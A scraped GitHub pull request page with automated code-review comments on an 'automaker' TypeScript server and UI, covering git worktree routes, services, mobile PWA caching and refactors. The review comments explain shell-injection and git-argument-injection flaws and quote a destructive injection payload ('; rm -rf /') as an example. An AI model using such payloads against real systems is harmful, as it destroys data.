Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/rebase.ts` around lines 15 - 19, Replace the relative imports of helpers and the EventEmitter with the shared-package re-exports: remove the "../common.js" import of getErrorMessage, logError, isValidBranchName and the "../../../lib/events.js" import of EventEmitter and instead import getErrorMessage, logError, isValidBranchName from the shared helpers package (e.g. '@automaker/shared' or '@automaker/common') and EventEmitter from the shared events package (e.g. '@automaker/events'); update the import statement(s) in this module so runRebase remains from '../../../services/rebase-service.js' but all internal helpers/types come from the `@automaker/`* packages.
apps/ui/src/components/views/board-view/worktree-panel/components/worktree-actions-dropdown.tsx
Outdated
Show resolved
Hide resolved
apps/ui/src/components/views/board-view/worktree-panel/worktree-panel.tsx
Show resolved
Hide resolved
apps/ui/src/components/views/board-view/worktree-panel/worktree-panel.tsx
Show resolved
Hide resolved
There was a problem hiding this comment.
Actionable comments posted: 16
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (3)
apps/server/src/routes/worktree/routes/merge.ts (2)
43-66:⚠️ Potential issue | 🔴 CriticalShell injection —
branchNameandmergeToare interpolated intoexecshell strings without validation.User-supplied
branchNameandmergeToflow directly intoexecAsyncshell strings (Lines 43, 54, 65–66) with zero validation. Sinceexecspawns a shell, payloads like"; rm -rf /"or backtick-based command substitution will execute. TheisValidBranchNameimport exists but is never called before these lines.The safe
execGitCommand(array-based, no shell) is already imported and used for other commands in this file. Either switch allexecAsynccalls toexecGitCommand, or — better — delegate toperformMergefrommerge-service.ts, which already implements all of this logic with safe array-based commands.🔒 Minimal fix: replace shell exec calls with array-based execGitCommand
- // Validate source branch exists - try { - await execAsync(`git rev-parse --verify ${branchName}`, { cwd: projectPath }); - } catch { + // Validate source branch exists + try { + await execGitCommand(['rev-parse', '--verify', branchName], projectPath); + } catch { ... - // Validate target branch exists - try { - await execAsync(`git rev-parse --verify ${mergeTo}`, { cwd: projectPath }); - } catch { + // Validate target branch exists + try { + await execGitCommand(['rev-parse', '--verify', mergeTo], projectPath); + } catch { ... - const mergeCmd = options?.squash - ? `git merge --squash ${branchName}` - : `git merge ${branchName} -m "${options?.message || `Merge ${branchName} into ${mergeTo}`}"`; - - try { - await execAsync(mergeCmd, { cwd: projectPath }); + const mergeArgs = options?.squash + ? ['merge', '--squash', branchName] + : ['merge', branchName, '-m', options?.message || `Merge ${branchName} into ${mergeTo}`]; + + try { + await execGitCommand(mergeArgs, projectPath);As per coding guidelines, "Server business logic should be organized into services in the services/ directory, with Express route handlers in routes/ that delegate to services." The
performMergefunction inmerge-service.tsalready implements this entire flow safely — consider delegating to it.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/merge.ts` around lines 43 - 66, The route currently interpolates user-controlled branchName and mergeTo into shell strings passed to execAsync (see execAsync usage and variables branchName/mergeTo), creating a shell-injection risk; fix by either 1) replacing all execAsync invocations in this handler with the array-based execGitCommand and validating branchName/mergeTo with isValidBranchName before use, or preferably 2) delegate the whole merge flow to the existing performMerge function in merge-service.ts (which uses safe, array-based commands) so the route just validates inputs (isValidBranchName) and calls performMerge(projectPath, branchName, mergeTo, options) instead of running shell commands directly.
107-112:⚠️ Potential issue | 🔴 CriticalShell injection in squash commit —
options.messageis user-supplied and interpolated into a shell string.Line 109 interpolates
options?.messagedirectly into anexecshell string. A message containing"; malicious_command"would execute arbitrary commands.🔒 Fix: use array-based command
if (options?.squash) { - await execAsync(`git commit -m "${options?.message || `Merge ${branchName} (squash)`}"`, { - cwd: projectPath, - }); + const squashMessage = options?.message || `Merge ${branchName} (squash)`; + await execGitCommand(['commit', '-m', squashMessage], projectPath); }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/merge.ts` around lines 107 - 112, The code uses execAsync with a shell-interpolated commit message (options?.message) which allows shell injection; change to run git as an argument list instead of a shell string so the message is passed as a single safe argument. Replace the execAsync call that currently builds `git commit -m "${options?.message || ...}"` with an invocation that executes git with args (e.g. call child_process.execFile or spawn or an execAsync variant that accepts args) such as execFile('git', ['commit', '-m', message], { cwd: projectPath }) where message = options?.message || `Merge ${branchName} (squash)`; ensure you do not interpolate the message into a shell string and keep projectPath and branchName usage the same.apps/server/src/routes/worktree/routes/switch-branch.ts (1)
162-165:⚠️ Potential issue | 🟠 MajorMissing
branchNamevalidation — git argument injection risk.
branchNameis user-supplied and flows directly intoexecFileAsynccalls (Lines 226, 255, 258, 263) without validation. WhileexecFileAsyncprevents shell injection, values starting with-(e.g.,--all,--orphan) are interpreted as git flags, which can cause unexpected behavior.Add validation early in the handler:
🛡️ Proposed fix
+import { isValidBranchName } from '../common.js'; + // ... inside handler, after the !branchName check: + + if (!isValidBranchName(branchName)) { + res.status(400).json({ + success: false, + error: `Invalid branch name: '${branchName}'`, + }); + return; + } + // Get current branch const { stdout: currentBranchOutput } = await execFileAsync(Also applies to: 191-236
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/switch-branch.ts` around lines 162 - 165, The handler reads worktreePath and branchName and then passes branchName straight into execFileAsync (see variables worktreePath and branchName and the execFileAsync invocations in the switch-branch handler), which allows git argument injection via values that begin with '-' or contain invalid ref characters; add early validation that branchName is present, does not start with a dash, and only contains allowed git-ref characters (reject whitespace, NUL, and control chars—e.g., allow alphanumerics, dot, underscore, slash and hyphen but ensure first char is not '-'). If validation fails, return a 400 response and do not call execFileAsync. Apply the same validation logic to all usages of branchName in this handler (the execFileAsync calls referenced in the diff and lines 191–236).
🧹 Nitpick comments (15)
apps/server/src/services/cherry-pick-service.ts (2)
156-159:getCurrentBranchis duplicated verbatim fromrebase-service.ts.
rebase-service.tsexposes an identicalgetCurrentBranch(samerev-parse --abbrev-ref HEADcall +.trim()). Extract it once — the most natural home isroutes/worktree/common.ts, which is already the shared git-utility module imported by both services — and re-export from there.// In apps/server/src/routes/worktree/common.ts — add once: +export async function getCurrentBranch(worktreePath: string): Promise<string> { + const output = await execGitCommand(['rev-parse', '--abbrev-ref', 'HEAD'], worktreePath); + return output.trim(); +}// In cherry-pick-service.ts: -import { execGitCommand } from '../routes/worktree/common.js'; +import { execGitCommand, getCurrentBranch } from '../routes/worktree/common.js'; -export async function getCurrentBranch(worktreePath: string): Promise<string> { - const branchOutput = await execGitCommand(['rev-parse', '--abbrev-ref', 'HEAD'], worktreePath); - return branchOutput.trim(); -}Apply the same change in
rebase-service.tsto eliminate both duplicate definitions.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/cherry-pick-service.ts` around lines 156 - 159, The getCurrentBranch function duplicates logic in rebase-service.ts; remove both copies and centralize it by moving the implementation that calls execGitCommand(['rev-parse','--abbrev-ref','HEAD'], worktreePath).trim() into the shared routes/worktree/common.ts module, export it from that module, then update both cherry-pick-service.ts and rebase-service.ts to import getCurrentBranch from routes/worktree/common.ts (keeping the same Promise<string> signature and using execGitCommand as before) and delete the redundant getCurrentBranch definitions in those service files.
99-131: Past conflict-detection concern is now resolved.The previous review flagged that the local
execGitCommanddiscardedstdoutwhen throwing, makingCONFLICT-string detection impossible. This is fixed: by importingexecGitCommandfromroutes/worktree/common.ts, the thrown error now carries bothstdoutandstderrviaObject.assign, soerr.stdoutcorrectly contains theCONFLICT (content): …lines that git writes to stdout during a failed cherry-pick.The loose
as { stdout?: string; stderr?: string; message?: string }cast on line 101 works today, but consider introducing a typedGitErrorinterface (as suggested in the previous review's fix) so the shape is enforced rather than assumed.🛡️ Optional: stronger typing via GitError interface
+interface GitError extends Error { + stdout: string; + stderr: string; +} + } catch (cherryPickError: unknown) { - const err = cherryPickError as { stdout?: string; stderr?: string; message?: string }; - const output = `${err.stdout || ''} ${err.stderr || ''} ${err.message || ''}`; + const err = cherryPickError as GitError; + const output = `${err.stdout ?? ''} ${err.stderr ?? ''} ${err.message ?? ''}`;🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/cherry-pick-service.ts` around lines 99 - 131, Replace the loose cast of cherryPickError with a proper GitError interface to enforce the error shape: define/export an interface GitError { stdout?: string; stderr?: string; message?: string; code?: number } (or similar) where execGitCommand is implemented, then import and use it in this catch block (catch (cherryPickError: unknown) { const err = cherryPickError as GitError; ... }) so the compiler enforces stdout/stderr presence; keep the existing conflict-detection logic (output.includes('CONFLICT'...)), and ensure abortCherryPick/worktreePath handling remains unchanged.apps/ui/src/components/dialogs/project-file-selector-dialog.tsx (2)
192-197: ConvertexistingFilesto aSetfor O(1) lookup.
Array.includesis O(n) and is called once per entry on every render cycle. For largeexistingFilesarrays the cost accumulates. A memoizedSeteliminates the linear scan.♻️ Proposed refactor
- // Check if a path is already configured - const isAlreadyConfigured = useCallback( - (relativePath: string) => { - return existingFiles.includes(relativePath); - }, - [existingFiles] - ); + // O(1) membership test, rebuilt only when existingFiles reference changes + const existingFilesSet = useMemo(() => new Set(existingFiles), [existingFiles]); + + const isAlreadyConfigured = useCallback( + (relativePath: string) => existingFilesSet.has(relativePath), + [existingFilesSet] + );🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/dialogs/project-file-selector-dialog.tsx` around lines 192 - 197, Replace the O(n) array lookup by memoizing a Set from existingFiles and using Set.has in isAlreadyConfigured: create a memoized set (e.g. const existingFilesSet = useMemo(() => new Set(existingFiles), [existingFiles]) declared before isAlreadyConfigured), update isAlreadyConfigured to use existingFilesSet.has(relativePath) inside the useCallback, and ensure the useCallback dependency array references existingFilesSet (or existingFiles if you prefer) instead of the raw array.
385-394:<span onClick>for toggling selection is not keyboard-accessible.The
<Checkbox>already provides an accessible toggle, but clicking the file name label is a common expectation and currently silently fails for keyboard users (noonKeyDown, norole="button"). Replacing the<span>with a<button>or addingrole="button"+onKeyDownmakes the interaction consistent.♻️ Proposed refactor
- <span - className="flex-1 truncate text-xs font-mono cursor-pointer" - onClick={() => { - if (!isConfigured) { - handleToggleSelect(entry); - } - }} - > - {entry.name} - </span> + <button + type="button" + className="flex-1 truncate text-xs font-mono text-left bg-transparent border-0 p-0 cursor-pointer disabled:cursor-default" + disabled={isConfigured} + onClick={() => handleToggleSelect(entry)} + tabIndex={-1} + aria-hidden="true" + > + {entry.name} + </button>
tabIndex={-1}+aria-hidden="true"keeps the<Checkbox>as the single focusable/announced element while still enabling mouse/touch click-anywhere-on-label behaviour.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/dialogs/project-file-selector-dialog.tsx` around lines 385 - 394, The file name label span is not keyboard-accessible; update the element that shows entry.name so keyboard users can toggle selection: either replace the <span> with a <button type="button"> using the same className and onClick handler (call handleToggleSelect(entry) only when !isConfigured and set disabled={isConfigured}), or if you must keep the span add role="button" plus an onKeyDown handler that triggers handleToggleSelect(entry) on Enter/Space; keep the Checkbox as the single focus target by setting tabIndex={-1} and aria-hidden="true" on the non-focusable label element; reference handleToggleSelect, isConfigured, entry.name and the Checkbox for locating the change.apps/server/tests/unit/services/auto-loop-coordinator.test.ts (1)
932-934: Redundant type cast — inconsistent with the rest of the file.
vi.mocked(mockIsFeatureRunning)works without theas ReturnType<typeof vi.fn>cast everywhere else (e.g., line 292). The explicit cast here is unnecessary noise.♻️ Suggested cleanup
- vi.mocked(mockIsFeatureRunning as ReturnType<typeof vi.fn>).mockImplementation( + vi.mocked(mockIsFeatureRunning).mockImplementation( (id: string) => id === 'dep-feature' );🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/tests/unit/services/auto-loop-coordinator.test.ts` around lines 932 - 934, The test uses an unnecessary explicit cast on vi.mocked(mockIsFeatureRunning as ReturnType<typeof vi.fn>); remove the cast and use vi.mocked(mockIsFeatureRunning).mockImplementation((id: string) => id === 'dep-feature') instead so the mocking style matches other tests (e.g., line 292) and avoids redundant typing; locate the call referencing mockIsFeatureRunning and replace the casted form with the plain vi.mocked(mockIsFeatureRunning) usage.apps/server/src/lib/git-log-parser.ts (1)
44-55: Prefer nullish coalescing (??) over logical OR (||) for thefilesdefault.
files || []would also replace an explicitly-passed empty array with[](which happens to be the same value), but more importantly it would replace any falsy value.??is semantically correct here since you want to default only whenfilesisundefined.Proposed fix
- files: files || [], + files: files ?? [],🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/lib/git-log-parser.ts` around lines 44 - 55, In createCommitFromFields replace the files fallback from using logical OR (files || []) to nullish coalescing (files ?? []) so that only undefined/null triggers the default; update the returned object’s files property to use the files ?? [] expression to preserve intentionally passed falsy values.apps/server/src/routes/worktree/routes/branch-commit-log.ts (1)
34-43: LocalisValidBranchNameshadows the shared one incommon.tswith different rules.This file defines its own
isValidBranchNamethat accepts+@~^:and rejects.., whilecommon.tsexports a version with a stricter character set ([a-zA-Z0-9._\-/]+) plus a length check. Having two functions with the same name but different validation logic across the codebase is a maintenance hazard — a future developer may import the wrong one or assume consistent behavior.If this endpoint legitimately needs to accept git refspec characters (
~,^,:), consider renaming this to something likeisValidGitRefto distinguish it from the branch-name-only validator, or extend the shared version incommon.tswith an options parameter.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/branch-commit-log.ts` around lines 34 - 43, This file defines a local isValidBranchName that diverges from the shared validator in common.ts (different allowed chars and no length check), which risks inconsistent validation; replace or refactor: either import and use the shared exported validator from common.ts (and add an options flag there to allow git-ref chars like ~,^,:,+ if needed), or rename this local function to isValidGitRef and update all references in branch-commit-log.ts to that name so it’s explicit; ensure the chosen approach preserves the shared validator’s length check and document the behavior.apps/server/src/routes/worktree/routes/pull.ts (1)
184-195: Conflict-file retrieval duplicated three times in this file.The same
git diff --name-only --diff-filter=U→ parse → filter pattern is copy-pasted at Lines 184–195, 256–268, and 306–317. Extract a local helper (or better, use a shared one fromcommon.tssince this pattern also appears in merge.ts, merge-service.ts, and stash-apply.ts).♻️ Sketch: extract helper
+async function getConflictedFiles(cwd: string): Promise<string[]> { + try { + const diffOutput = await execGitCommand(['diff', '--name-only', '--diff-filter=U'], cwd); + return diffOutput.trim().split('\n').filter((f) => f.trim().length > 0); + } catch { + return []; + } +}Then replace all three inline instances with
await getConflictedFiles(worktreePath).Also applies to: 256-268, 306-317
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/pull.ts` around lines 184 - 195, Duplicate logic retrieving conflicted files using execGitCommand(['diff','--name-only','--diff-filter=U'], worktreePath) is repeated; extract it into a reusable helper (e.g., getConflictedFiles(worktreePath)) placed in the shared common utilities (or local to this module if preferred) that runs execGitCommand, trims, splits on '\n' and filters out empty entries, then replace the three inline blocks in pull.ts (and other files like merge.ts / merge-service.ts / stash-apply.ts) with await getConflictedFiles(worktreePath) to remove duplication and centralize parsing/error handling.apps/server/src/routes/worktree/routes/stash-apply.ts (1)
11-16: Inconsistent git command execution and duplicatedgetConflictedFileshelper.This file uses a local
execFileAsync(promisifiedexecFile) while sibling routes (merge, pull) use the sharedexecGitCommandfromcommon.ts, which provides richer error objects withstdout/stderrproperties. ThegetConflictedFileshelper is also duplicated across merge-service.ts, merge.ts, and pull.ts.Consider using
execGitCommandfromcommon.tsfor consistency and extractinggetConflictedFilesintocommon.tsto DRY up the conflict-file retrieval that appears in at least four places.Also applies to: 21-34
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/stash-apply.ts` around lines 11 - 16, Replace the local promisified execFileAsync with the shared execGitCommand from common (use execGitCommand instead of execFileAsync in stash-apply.ts) so git errors return the richer { stdout, stderr } shape; also remove the duplicated getConflictedFiles helper from this file and instead import a single getConflictedFiles implementation from common (extract the conflict-parsing logic used in merge-service.ts/merge.ts/pull.ts into common and update imports here to call that shared getConflictedFiles). Ensure call sites use the execGitCommand API and its error handling pattern and that getConflictedFiles returns the same array shape as the other routes expect.apps/server/src/services/worktree-service.ts (1)
83-100: Symlinks inworktreeCopyFilesentries could escape the project root.
fs.stat,fs.copyFile, andfs.cpall follow symlinks by default. A symlink at a "safe" relative path could point outsideprojectPath, bypassing the traversal check. Consider usingfs.lstatfor the initial check and/or verifying the resolved real path stays within bounds.🛡️ Sketch: validate realpath stays within projectPath
+ const realSource = await fs.realpath(sourcePath); + if (!realSource.startsWith(path.resolve(projectPath) + path.sep) && realSource !== path.resolve(projectPath)) { + const reason = 'Resolved path escapes project root (possible symlink)'; + emitter.emit('worktree:copy-files:skipped', { path: relativePath, reason }); + continue; + } + const stat = await fs.stat(sourcePath);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/worktree-service.ts` around lines 83 - 100, The current copy logic in worktreeCopyFiles uses fs.stat/fs.copyFile/fs.cp which follow symlinks and can let a symlink inside the project point outside projectPath; change the flow to use fs.lstat(sourcePath) to detect symlinks, then resolve the ultimate target with fs.realpath(sourcePath) (or for symlinks readlink + realpath) and validate that the resolved real path startsWith the projectPath canonical realpath before proceeding; for regular files/directories proceed with the copy, and for symlinks either recreate the symlink in dest only if its resolved target is within projectPath or reject/log the entry—ensure checks reference sourcePath, destPath, normalized, projectPath and use the resolved realpath in the validation step.apps/server/src/services/rebase-service.ts (2)
99-107:abortRebasesilently swallows the error — consider logging the error details.The
catchblock logs a generic warning but doesn't include the actual error. This makes debugging hard if aborts fail for unexpected reasons.♻️ Minor improvement
- } catch { - logger.warn('Failed to abort rebase after conflict'); + } catch (err) { + logger.warn('Failed to abort rebase after conflict', { error: err }); return false; }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/rebase-service.ts` around lines 99 - 107, The catch in abortRebase currently swallows errors; update abortRebase to catch the thrown error (e.g., catch (err)) and include the error details in the log (use logger.warn or logger.error with a message like "Failed to abort rebase after conflict" plus the err or err.message) when execGitCommand(['rebase', '--abort'], worktreePath) fails; reference the abortRebase function and execGitCommand/ logger.warn symbols when making the change so the log includes the actual error information.
130-138:getCurrentBranchis an exact duplicate ofcherry-pick-service.ts.Both
rebase-service.tsandcherry-pick-service.tsexport identicalgetCurrentBranchimplementations. Extract this into a shared git utility (e.g.,lib/git-helpers.tsor the existingroutes/worktree/common.ts) and import from both services.♻️ Suggested approach
In a shared module (e.g.,
lib/git-helpers.ts):export async function getCurrentBranch(worktreePath: string): Promise<string> { const branchOutput = await execGitCommand(['rev-parse', '--abbrev-ref', 'HEAD'], worktreePath); return branchOutput.trim(); }Then import from both services.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/rebase-service.ts` around lines 130 - 138, The getCurrentBranch function in rebase-service.ts duplicates the implementation in cherry-pick-service.ts; extract the shared logic into a new shared helper (e.g., lib/git-helpers.ts or reuse routes/worktree/common.ts) that exports getCurrentBranch(worktreePath: string): Promise<string> which internally calls execGitCommand(['rev-parse', '--abbrev-ref', 'HEAD'], worktreePath) and trims the output, then replace the local getCurrentBranch definitions in both rebase-service.ts and cherry-pick-service.ts with imports from that shared module.apps/server/src/services/branch-commit-log-service.ts (1)
156-160:totalis justcommits.length— consider renaming or adding true total.
total: commits.lengthduplicates information already implicit in the array. If the intent is to convey the total number of commits on the branch (for pagination), this field is misleading since it only reflects the clamped/returned count. If pagination isn't planned, removingtotalor renaming toreturnedCountwould be clearer.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/branch-commit-log-service.ts` around lines 156 - 160, The returned object in branch-commit-log-service (the block returning { branch: displayBranch, commits, total: commits.length }) exposes a misleading total; change it to either provide the true branch commit count (call the service/DB method that returns the full count and assign that to total) or rename the field to returnedCount/returnedLength to reflect it is just the length of the returned commits array; update any callers of this function (and the function that produces commits, e.g., the method that builds displayBranch/commits) to use the new name or to expect the real total.apps/server/src/routes/worktree/routes/discard-changes.ts (1)
20-26: Prefer the sharedexecGitCommandhelper over rawexecFile.All other worktree route handlers use
execGitCommandfrom../common.js(which wrapsspawnProcess). This file rolls its ownpromisify(execFile)wrapper, creating an inconsistency. Notably,execFilehas a defaultmaxBufferof ~1 MB — a large repo'sgit status --porcelainoutput could silently truncate, whereasspawnProcessstreams and concatenates without that limit.♻️ Suggested change
-import { execFile } from 'child_process'; -import { promisify } from 'util'; import * as path from 'path'; import * as fs from 'fs'; -import { getErrorMessage, logError } from '../common.js'; - -const execFileAsync = promisify(execFile); +import { getErrorMessage, logError, execGitCommand } from '../common.js';Then replace every
execFileAsync('git', [...args], { cwd: worktreePath })withexecGitCommand([...args], worktreePath)and destructure accordingly (e.g.,const status = await execGitCommand([...], worktreePath)instead ofconst { stdout: status } = ...).🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/discard-changes.ts` around lines 20 - 26, Replace the file-local execFile/promisify usage with the shared execGitCommand helper: remove the imports of execFile and promisify and the execFileAsync constant, import execGitCommand from '../common.js', and update every call like execFileAsync('git', [...], { cwd: worktreePath }) to await execGitCommand([...], worktreePath) (and stop destructuring { stdout: ... } — execGitCommand returns the command output directly as used in other worktree handlers); keep existing error handling (getErrorMessage/logError) unchanged.apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx (1)
31-37: Prefer a shared WorktreeInfo type to avoid drift.This local interface duplicates existing WorktreeInfo definitions. Consider importing the shared type and narrowing with
Pickso future changes don’t desync the dialog’s expectations.♻️ Suggested refactor
-import interface WorktreeInfo { - path: string; - branch: string; - isMain: boolean; - hasChanges?: boolean; - changedFilesCount?: number; -} +import type { WorktreeInfo as PanelWorktreeInfo } from '../worktree-panel/types'; +type WorktreeInfo = Pick< + PanelWorktreeInfo, + 'path' | 'branch' | 'isMain' | 'hasChanges' | 'changedFilesCount' +>;🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx` around lines 31 - 37, This file defines a local WorktreeInfo interface that duplicates an existing shared type; replace the local interface with an import of the canonical WorktreeInfo and, if the dialog only needs a subset, use TypeScript's Pick to narrow it (e.g., import WorktreeInfo and export type DialogWorktreeInfo = Pick<WorktreeInfo, 'path' | 'branch' | 'isMain' | 'hasChanges' | 'changedFilesCount'>), then update any references in discard-worktree-changes-dialog.tsx to use the imported/shared type names (WorktreeInfo or the new Pick alias) so the dialog stays in sync with the shared definition.
apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx
Show resolved
Hide resolved
…ressed code review comments
|
@coderabbitai review |
✅ Actions performedReview triggered.
|
There was a problem hiding this comment.
Actionable comments posted: 13
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (3)
apps/server/src/services/auto-mode/facade.ts (2)
386-395:⚠️ Potential issue | 🟡 Minor
task.description || task.descriptionis a no-op — theTask ${task.id}fallback is silently dropped.Line 391 reads
task.description || task.description; both operands are identical so the expression always evaluates totask.description. The equivalentbuildTaskPromptin thePipelineOrchestratorrunAgentFn (line 264) correctly usestask.description || \Task ${task.id}`. The missing fallback means the{{taskDescription}}placeholder is left empty whentask.description` is falsy, rather than substituting the task ID.🐛 Proposed fix
- .replace(/\{\{taskDescription\}\}/g, task.description || task.description); + .replace(/\{\{taskDescription\}\}/g, task.description || `Task ${task.id}`);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-mode/facade.ts` around lines 386 - 395, In buildTaskPrompt (the buildTaskPrompt arrow function) replace the no-op fallback for task description so that when task.description is falsy we use the task ID; specifically change the replacement for {{taskDescription}} to use task.description || `Task ${task.id}` (mirroring the PipelineOrchestrator runAgentFn behavior) and ensure the template.replace call references that expression so empty descriptions are substituted with "Task {id}".
573-584:⚠️ Potential issue | 🟡 Minor
resumeFeatureis the only public method without atry/catch, so errors bypasshandleFacadeError.Every other public async method in this class wraps its delegation in a try/catch that calls
handleFacadeErrorand emitsauto_mode_errorto the UI.resumeFeaturepropagates exceptions directly to the caller, meaning the UI never receives an error event and the facade-boundary log is skipped.🛡️ Proposed fix
async resumeFeature( featureId: string, useWorktrees = false, _calledInternally = false ): Promise<void> { - return this.recoveryService.resumeFeature( - this.projectPath, - featureId, - useWorktrees, - _calledInternally - ); + try { + return await this.recoveryService.resumeFeature( + this.projectPath, + featureId, + useWorktrees, + _calledInternally + ); + } catch (error) { + this.handleFacadeError(error, 'resumeFeature', featureId); + throw error; + } }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-mode/facade.ts` around lines 573 - 584, The public method resumeFeature currently delegates directly to recoveryService.resumeFeature and lacks the try/catch wrapper used by other public methods; wrap the call to this.recoveryService.resumeFeature(...) in a try/catch, and in the catch call this.handleFacadeError(err, 'resumeFeature') (matching the other methods' pattern) and emit the 'auto_mode_error' event to the UI with the error (use the same emitter or emit pattern used elsewhere in this class), then rethrow or return as other methods do to preserve behavior.apps/server/src/providers/codex-provider.ts (1)
1058-1090:⚠️ Potential issue | 🟡 Minor
await getCodexAuthIndicators()at line 1061 is a no-op — result is discarded.
detectInstallationcallsgetCodexAuthIndicators()but never captures or uses the return value. Auth status is determined separately viacheckCodexAuthentication(cliPath)on line 1079. This is an unnecessary async file-system read on every installation check.🐛 Proposed fix — remove the unused call
const cliPath = await findCodexCliPath(); const hasApiKey = Boolean(await resolveOpenAiApiKey()); - await getCodexAuthIndicators(); const installed = !!cliPath;If auth-file indicators should be surfaced in
InstallationStatus, capture the result and incorporate it into the returned object instead.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/providers/codex-provider.ts` around lines 1058 - 1090, The call to getCodexAuthIndicators() inside detectInstallation is unused and causes an unnecessary async filesystem read; either remove the call entirely from detectInstallation, or if auth-file indicators should be returned, capture its result (e.g. const indicators = await getCodexAuthIndicators()) and merge relevant fields into the InstallationStatus returned object alongside the existing checkCodexAuthentication(cliPath) result—update the returned object to include the captured indicators (or omit the call) and ensure checkCodexAuthentication(cliPath) remains the source for explicit authenticated flag.
apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx
Show resolved
Hide resolved
apps/ui/src/components/views/board-view/dialogs/stash-changes-dialog.tsx
Show resolved
Hide resolved
1 participant
Summary
This PR delivers a comprehensive set of mobile PWA improvements, performance enhancements, and several worktree workflow improvements built on top of v0.15.0.
📱 Mobile PWA Support
manifest.jsonand an optimizedsw.jsservice worker for PWA support. The SW implements a three-tier cache strategy (shell assets, immutable hashed assets, API responses) for instant loading on mobile. Cache names are automatically busted on new builds via a ViteswCacheBusterplugin.mobile-detect.tsutility to reliably detect mobile/touch devices and drive all mobile-specific behavior.useVirtualKeyboardResizehook adjusts layout when the software keyboard appears, preventing the terminal and board from being obscured.useMobileVisibilityanduseMobileOnlineManagerhooks prevent React Query from firing a "refetch storm" when the user switches back to the app from another mobile app. Includes a 1.5s grace period for focus, and a 30s background threshold before throttling reconnection.⚡ App Load Performance (Tab Discard Recovery)
@tanstack/react-query-persist-clientwith anidb-keyvalIndexedDB persister (query-persist.ts). The query cache now survives tab discards and page reloads; data is shown instantly while fresh data loads in the background.ui-cache-store.ts(Zustand + localStorage) persists critical UI state (sidebar, project selection, collapsed sections) for instant visual continuity on restore.__APP_BUILD_HASH__is injected at build time and used as the IDBbusterkey, so stale caches from old deployments are automatically discarded.*.lazy.tsx) for faster initial load.🔀 Worktree Workflow Improvements
/commitendpoint now accepts an optionalfiles[]array and stages only those files before committing.discard-worktree-changes-dialog.tsxlets users preview per-file diffs and selectively discard changes. Supports full or partial discard with path traversal protection on the backend./switch-branchendpoint now automatically stashes uncommitted changes (including untracked files) before switching, then re-applies them withgit stash popafter. If stash pop produces conflicts, the UI receives aconflictssignal so it can create a resolution task. Also adds support for remote tracking branch checkout (e.g.,origin/feature→ creates a local tracking branch).🔧 Server & Type Safety Fixes
recovery-service.tsnow cross-references saved execution state to find features that were running before a restart but have already been reconciled toready/backlogbyreconcileAllFeatureStates()at startup. These are now correctly offered for resumption.geminiCLI path discovery usingwhich/wherebefore falling back tofind.zai-usage-service.tswith more robust fetch timeouts, credential caching, and path resolution improvements.nullfor the primary branch, so the coordinator no longer also tried to normalize'main'→null(which would have broken explicitmainbranch worktrees).PageTransitionEventandAPP_BUILD_HASHto the UI ESLint global config to silence false-positive no-undef errors.🧪 Tests
recovery-servicecovering the new execution-state-aware resume logic.switch-branchroute tests to cover auto-stash and conflict scenarios.Test Plan
🤖 Generated with Claude Code
Summary by CodeRabbit
Release Notes
New AI Providers
Enhanced Git Operations
File Management
Mobile Experience
UI/UX Improvements